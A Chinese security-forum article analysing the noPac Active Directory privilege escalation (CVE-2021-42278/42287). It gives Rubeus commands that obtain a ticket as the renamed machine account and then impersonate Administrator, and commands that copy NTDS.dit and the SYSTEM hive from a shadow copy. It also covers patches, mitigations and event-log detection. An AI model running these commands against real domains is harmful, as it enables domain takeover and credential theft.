问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
域内提权票据篇之剖析CVE-2021-42278&42287漏洞
渗透测试
21年披露了AD域的一个组合漏洞(CVE-2021-42278+CVE-2021-44287),利用AD域对机器账户的认证缺陷和kerberos协议缺陷,只需一个域用户即可拿到域内最高权限,影响巨大
0x00 漏洞背景 --------- 21年披露了AD域的一个组合漏洞(CVE-2021-42278、CVE-2021-44287),利用AD域对机器账户的认证缺陷和kerberos协议缺陷,只需一个域用户即可拿到域内最高权限,影响巨大。 0x01 漏洞1 -------- 【CVE-2021-42278】默认情况下加入域内的主机都会创建一个机器账户,该账户名称为机器名加上`$`结尾,加入域的机器默认在`CN=Computers`这个容器里,账户名为`sAMAccountName`属性:  1、域中是默认允许域用户创建机器账户的,该属性为`MS-DS-Machine-Account-Quota`(允许用户在域中创建的机器帐户的数量,普通域用户最多可以创建10个该账户); 2、域控没有针对机器账户名的验证机制,没有校验`sAMAccountName`结尾的`$`,即使删除结尾的`$`照样可以以机器用户身份申请TGT票据。  0x02 漏洞2 -------- 【CVE-2021-42287】配合上述漏洞使用,简述一下漏洞原理,创建一个普通机器账户,将其`sAMAccountName`改为和域控机器账户名相同但不以`$`结尾,用该账户进行TGT请求后将`sAMAccountName`改回原名,然后使用之前得到的TGT去申请该主机的ST,在申请服务过程中,由于二次改名后,此时域内已经没有该账户,导致DC找不到它,协议的处理逻辑会自动在主机名后加上`$`继续搜索,结果就会搜索到域控机器账户,然后在PAC中添加信息(这些信息就是域控机器账户的用户名和所在的组)并以域控机器身份签名下发ST,达到了提权操作。 0x03 漏洞利用 --------- 利用第一个漏洞需要注意,机器账户改名之前必须清除SPN值(servicePrincipalName,服务主体名称),该标志是作为网络控制器服务实例的唯一标识符;域内添加一个机器账户会自动添加四个默认的SPN值(使用脚本:[Powermad.ps1](https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1))   我们假设不清除SPN,直接修改`sAMAccountName`值结果如下图,后面的Kerberos身份验证使用它来将服务实例与服务登录帐户相关联,会导致请求异常,所以在修改`samAccountName`前要删除其SPN属性。   我们创建的可利用账户应该是这样:第一步清除SPN值,第二步改名为域控机器名(使用脚本:[PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1))   ### AS-REQ 这里我们以创建的机器账户利用 [Rubeus工具](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe) 发出请求:`.\Rubeus.exe asktgt /user:"sAMAccountName" /password:"Password" /domain:"domain.local" /dc:"sAMAccountName.domain.local" /nowrap`  进行身份验证的账户名,这里是我们修改后的`DC`:  ### AS-REP  到这一步,PAC中的Group RID还是515(Domain Computers这个组),即ticket中所代表的身份还是我们创建的这个机器账户:   这里参考 [在Wireshark中解密Kerberos](https://wiki.wireshark.org/Kerberos.md),即可解密数据包中的PAC,步骤如下: ```php 1、在域控导出ntds.dit和system.hive vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ntds.dit copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hive vssadmin delete shadows /all 2、使用esedbexport工具导出表文件,这里没有该工具需要编译一下(建议在linux环境编译),下载并解压:https://github.com/libyal/libesedb sudo apt-get install autoconf automake autopoint libtool pkg-config ./configure make make install sudo ldconfig 3、将导出的ntds.dit以及system.hive复制到Linux中与esedbexport同目录下即:/usr/local/bin,并执行命令,可以将ntds.dit导出成多个文件,文件会存放在当前目录的ntds.dit.export目录内 esedbexport ntds.dit 4、使用NTDSXtract导出需要的keytab,这里使用python2 git clone https://github.com/csababarta/ntdsxtract.git cd ntdsxtract/ && python -m pip install pycryptodome esedbexport ntds.dit python2 dskeytab.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.6 system.hive /usr/local/bin/ntdsxtract/ 1.keytab # datatable.*以及link_table.*都是esedbexport处理ntds.dit之后存在ntds.dit.export中的文件 # system.hive 是之前导出的文件 # /usr/local/bin/ntdsxtract/是当前ntdsxtract目录 # 1.keytab是最后我们需要的keytab文件 5、获取1.keytab后,把该文件导入到Wireshark中,编辑->首选项->Protocols->KRB5,勾选"Try to decrypt Kerberos blobs",然后开始抓包即可,wireshark会自动对当前的数据包进行解密尝试,如果解密成功,就会是显示蓝色,不成功就是黄色。 ``` 将机器账户改除域控机器名之外的名,这里改回原名:  接下来准备请求 ”这台域内已经不存在的机器“ 上的服务票据。 ### TGS-REQ 以`Administrator`的身份请求 “这台域内已经不存在的机器” 上的cifs服务票据:`Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]` 注意这里使用的是S4U2self协议,为什么要用这个协议来请求我们后面阐述,先看这样请求发生了什么?貌似已经成功申请了一张高权限票据:  ### TGS-REP  果然到这一步,PAC中的User RID已经变成了500即Administrator,Group RID为513即Domain Users组:  使用 `klist` 命令查看主机上的票据:  成功访问域控服务:  0x04 漏洞成因 --------- 这里我们来分析一下为什么要使用S4U2self协议? S4U2self(Server-for-User-to-Self)是 Kerberos 协议中的一种扩展,用于允许Service代替用户向KDC发起服务票据的请求,而无需用户的明文凭证,目的是为了简化服务器的授权,以便调用者自身受益。  ```php 1、用户向服务1发出请求,服务1已通过KDC进行身份验证并获得其TGT,但服务1没有用户的授权数据; 2、服务1通过S4U2self扩展代表指定用户请求服务票证,用户由S4U2self数据中的用户名和用户域名来标识; 3、KDC返回一个服务票据到服务1,就像用户使用自己的TGT请求的一样,服务票证包含用户的授权数据; 4、服务1可以使用服务票据中的授权数据来满足用户的请求,然后该服务响应用户。 ``` 这里从协议代码处理逻辑层面再分析下具体过程,参照 [从XP源码泄露看nopac漏洞](https://mp.weixin.qq.com/s/Ar8u_gXh2i3GEcqdhOD8wA) 这篇分析文章,可总结漏洞成因如下: KDC Server是如何处理S4U和非S4U请求中的PAC,从`KdcInsertAuthorizationData`函数中可以找到: 1.如果不是S4U的请求,则直接从TGT的AuthData中提取PAC(沿用最初的PAC,最初的PAC在AS-REP阶段凭请求用户身份生成); 2.如果是S4U请求,首先调用`KdcGetS4UTicketInfo`请求,这个请求的处理逻辑中又调用了`KdcGetTicketInfo`,然后再调用`kdcGetPacAuthData`函数来构造PAC data。 这里的两个函数应该就是漏洞点所在: - `KdcGetTicketInfo`函数,用于从Ticket中获取TicketInfo,该函数会对请求的服务账户名进行顺序判断: 首先判断是否是krbtgt账户,如果是,则直接调用函数获取TicketInfo --> 如果不是,会查找传入的用户名判断是否是本域的用户 --> 如果在域内找不到用户名则会给传入的用户名加上`$`继续查找 --> 仍未找到则查找其 `altSecurityIdentities` (Alternate Security Identities,备用安全标识)属性的value。这就是导致漏洞产生的一个重要原因,由于我们的改名操作,此时域内已经没有一个Service的`sAMAccountName`为`DC`,根据处理逻辑会继续加`$`进行重试,必然会匹配上域控的机器账户`DC$`,所以此时就是域控机器向KDC发起申请ST请求。 通过这个函数还是还无法解释为什么获取`DC`的TGT之后,通过S4USelf请求`DC$`的TGS可以成功?按理说我们是拿着`DC`这个机器账户的TGT去请求ST最终获取的ST也应该是这个账户权限的,最终是如何提权到域管的? - `kdcGetPacAuthData`函数,这个函数在处理PAC存在缺陷,网上其它文章说的“若原票据不存在PAC,则会构造一个新的PAC;若无法构造,则直接复制PAC”,其实并不是`TGS_REQ`中没有携带PAC然后才去生成PAC,而是正常的S4U请求就会重新生成对应模拟用户的PAC到Ticket中,这里我们是用`Administrator`用户去请求,所以自然会生成高权限票据。 ```ASN.1 //这里对比一下S4U的if逻辑与这个else if逻辑,所调用的生成PAC函数 KerbErr = KdcGetPacAuthData( S4UUserInfo, &S4UGroupMembership, TargetServerKey, NULL, // no credential key AddResourceGroups, FinalTicket, S4UClientName, &NewPacAuthData, pExtendedError ); KerbErr = KdcGetPacAuthData( UserInfo, &GroupMembership, TargetServerKey, NULL, // no credential key AddResourceGroups, FinalTicket, NULL, // no S4U client &NewPacAuthData, pExtendedError ); ``` 利用`S4U2Self`协议请求的数据包有什么不同? 在`S4U2Self`协议扩展中,Service会使用自己的TGT并添加一个新的padata,就是`PA-FOR-USER`结构:  这个函数原型如下: ```ASN.1 PA-FOR-USER ::= SEQUENCE { -- PA TYPE 129 userName [0] PrincipalName, userRealm [1] Realm, cksum [2] Checksum, auth-package [3] KerberosString } ``` 参数可以通过数据包看到其含义: ```php userName 为administrator,所以我们猜测KdcGetPacAuthData(),取的就是PA-FOR-USER结构中的name; userRealm 为域名USER.COM Checksum 之前文章提到的PAC尾部签名 auth-package用于验证用户身份的验证机制的字符串名称,必须将其设置为字符串“Kerberos”。 ``` 0x05 防御措施 --------- 1. 安装微软的补丁`KB5008602` 和 `KB5008380`; 2. 限制域内可创建机器账户的用户权限,修改`MachineAccountQuota`的属性值为0; 3. Tips:在域内创建一个机器账号,将其`samAccountName`改为DC的主机名,因为域内`sAMAccountName`是唯一的,不能重复,所以攻击者就无法创建与域控同名的主机名。 0x06 日志检测 --------- 1、Name impersonation 可通过分析以下安全日志 ```php 【4741事件】 创建机器账号 【4742事件】 删除SPN 【4781事件】 修改sAMAccountName ``` 2、KDC bamboozling 可通过分析以下安全日志 ```php 【4768事件:请求TGT】 TargetUserName(发起Kerberos身份验证请求的用户名)为域控主机名而不是主机名+$ 【4769事件:请求ST】 TargetUserName不包含$(区分正常的机器账户请求),并且ServiceName(请求服务的名称)为域控主机名并不是主机名+$ ``` 0x07 参考文章 --------- [https://mp.weixin.qq.com/s/Ar8u\_gXh2i3GEcqdhOD8wA](https://mp.weixin.qq.com/s/Ar8u_gXh2i3GEcqdhOD8wA) <https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html> [https://learn.microsoft.com/en-us/openspecs/windows\_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a)
发表于 2023-08-28 09:00:00
阅读 ( 8238 )
分类:
内网渗透
4 推荐
收藏
0 条评论
请先
登录
后评论
中铁13层打工人
79 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!